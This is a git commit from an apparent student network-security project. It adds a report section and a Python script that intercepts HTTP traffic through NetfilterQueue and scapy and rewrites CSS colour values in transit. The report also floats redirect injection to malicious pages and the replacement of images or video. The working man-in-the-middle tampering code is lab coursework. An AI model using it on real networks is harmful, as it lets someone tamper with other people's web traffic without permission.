finish
This commit is contained in:
parent
a13fff1568
commit
c62e3a908c
BIN
final/captures/final_3.pcap
Normal file
BIN
final/captures/final_3.pcap
Normal file
Binary file not shown.
@ -229,6 +229,15 @@ However, it did work
|
||||
|
||||

|
||||
|
||||
See [final_2.pcap](./captures/final_2.pcap)
|
||||
See [final_2.pcap](./captures/final_2.pcap). In theory, a similar attack of this nature could be used to return a redict http code and inject additionally inject a `Location` header to send the user to a malicious web page.
|
||||
|
||||
#### 6c.
|
||||
#### 6c. CSS modifications
|
||||
|
||||
The final attack will be slightly deeper in the stack. I have written the script [css.py](./scripts/css.py) which works to find http packets containing css text content and modify their color values to be random. An attack like this, which modifies the user experience could further be applied to malicious concepts like unpermitted advertising, ransom-seeking exploits, or user shock. This concept was tricky to implement because in the tcp stream, the packet which contains the http content-type designating `text/css` generally itself contains none of the css, and those actually follow in the next couple packets in the stream. So the process involved looking for these http responses with the content type, and identifying the stream primarily by the destination port on my host machine. Once a stream was identified, the next packet was likely to contain the css data, so we try the attack with high confidence. Luckily on our tap, packets tend to travel in order. If on the same stream we see an http packet with a different content type, then we discard that stream and look out for the next one.
|
||||
|
||||

|
||||
*The css attack in action*
|
||||
|
||||
A more sophisticated version of a similar attack might involve buffering a sequence of TCP packets containing a PNG image, carefully modifying those packets to contain a new PNG image loaded from a local resource, and sending the buffer out all at once. This would be a challenge to do on a live tcp stream.
|
||||
|
||||
Another interesting attack would be to modify RTP packets of my RTSP stream (like shown in section 5) to show a new video feed, still image, play a new sound, or show a modified version of the video feed. This would be an ambitious challenge, and I have not yet taken the Introduction to Multimedia Computing course.
|
BIN
final/photos/attack/css.png
Normal file
BIN
final/photos/attack/css.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 667 KiB |
112
final/scripts/css.py
Normal file
112
final/scripts/css.py
Normal file
@ -0,0 +1,112 @@
|
||||
import os
|
||||
from netfilterqueue import NetfilterQueue, Packet as NFQPacket
|
||||
from scapy.all import IP, TCP, Raw, Packet as SPacket, send, base64_bytes, hex_bytes, bytes_hex, hexstr, hexdump, bytes_base64, PacketList
|
||||
from scapy.layers.http import HTTPResponse, HTTP
|
||||
from scapy.utils import wrpcap, rdpcap, PcapWriter
|
||||
import random
|
||||
import re
|
||||
|
||||
#packets we want to save for submission
|
||||
# scapy_packets: PacketList = PacketList()
|
||||
count = 0
|
||||
pktdump = PcapWriter("../captures/final_3.pcap", append=True, sync=True)
|
||||
def generate_random_color_6():
|
||||
return "#{:06x}".format(random.randint(0, 0xFFFFFF))
|
||||
|
||||
def generate_random_color_3():
|
||||
return "#{:03x}".format(random.randint(0, 0xFFF))
|
||||
|
||||
def replace_colors_with_random_6(input_string):
|
||||
# Regular expression to find hex color codes
|
||||
hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{6})')
|
||||
|
||||
def replace_match(match):
|
||||
return generate_random_color_6()
|
||||
|
||||
# Replace all hex color codes with random colors
|
||||
output_string = hex_color_pattern.sub(replace_match, input_string)
|
||||
return output_string
|
||||
|
||||
def replace_colors_with_random_3(input_string):
|
||||
# Regular expression to find hex color codes
|
||||
hex_color_pattern = re.compile(r'#([A-Fa-f0-9]{3})')
|
||||
|
||||
def replace_match(match):
|
||||
return generate_random_color_3()
|
||||
|
||||
# Replace all hex color codes with random colors
|
||||
output_string = hex_color_pattern.sub(replace_match, input_string)
|
||||
return output_string
|
||||
|
||||
|
||||
def save_packets(packets: PacketList, filename: str):
|
||||
wrpcap(filename, packets)
|
||||
print(f"Saved {len(packets)} packets to {filename}")
|
||||
|
||||
|
||||
# Dictionary to store partial packets indexed by source/destination ports and IPs
|
||||
tcp_streams: set = set()
|
||||
|
||||
def process_packet(nfqpacket: NFQPacket):
|
||||
global tcp_streams
|
||||
global count
|
||||
scapy_packet: SPacket = IP(nfqpacket.get_payload())
|
||||
|
||||
if scapy_packet.haslayer(IP) and scapy_packet.haslayer(TCP):
|
||||
ip_layer = scapy_packet[IP]
|
||||
tcp_layer = scapy_packet[TCP]
|
||||
stream_key = (ip_layer.src, ip_layer.dst, tcp_layer.sport, tcp_layer.dport)
|
||||
|
||||
if scapy_packet.haslayer(HTTP) and scapy_packet.haslayer(HTTPResponse):
|
||||
http_response_layer: SPacket = scapy_packet[IP][TCP][HTTP][HTTPResponse]
|
||||
|
||||
if http_response_layer.fields.get('Content_Type') == b"text/css":
|
||||
tcp_streams.add(stream_key)
|
||||
#stop here, there will not be raw data in these
|
||||
else:
|
||||
if stream_key in tcp_streams :
|
||||
tcp_streams.remove(stream_key)
|
||||
#the stream might have moved onto something else like json, remove the key now
|
||||
else:
|
||||
pass
|
||||
|
||||
elif stream_key in tcp_streams and scapy_packet.haslayer(Raw):
|
||||
|
||||
# At this point we are likely dealing with CSS data - so attack
|
||||
all_content: bytes = scapy_packet[Raw].load
|
||||
css_content = all_content.decode('utf-8', errors='ignore') # Decode bytes to string
|
||||
new_css_content: str = replace_colors_with_random_6(css_content)
|
||||
new_css_content = replace_colors_with_random_3(css_content)
|
||||
new_encoded_content: bytes = bytes(new_css_content, 'utf-8')
|
||||
|
||||
# Combine the headers and new body content
|
||||
new_load = new_encoded_content
|
||||
scapy_packet[Raw].load = new_load
|
||||
del scapy_packet[IP].chksum
|
||||
del scapy_packet[TCP].chksum
|
||||
print('Modified colors')
|
||||
count += 1
|
||||
nfqpacket.set_payload(scapy_packet.build())
|
||||
pktdump.write(scapy_packet)
|
||||
else:
|
||||
pass# Uninteresting packet, or it's too early and we have not seen the http response + conent type so ignore anyway
|
||||
else:
|
||||
pass #all packets are tcp so we don't expect this case
|
||||
nfqpacket.accept()
|
||||
|
||||
def main():
|
||||
global count
|
||||
nfqueue = NetfilterQueue()
|
||||
nfqueue.bind(0, process_packet)
|
||||
|
||||
try:
|
||||
print("Binding to NFQUEUE 0...")
|
||||
nfqueue.run()
|
||||
except KeyboardInterrupt:
|
||||
print(f"Stopping... Modified {count} packets")
|
||||
|
||||
finally:
|
||||
nfqueue.unbind()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
BIN
final/scripts/replacement.png
Normal file
BIN
final/scripts/replacement.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 13 KiB |
Reference in New Issue
Block a user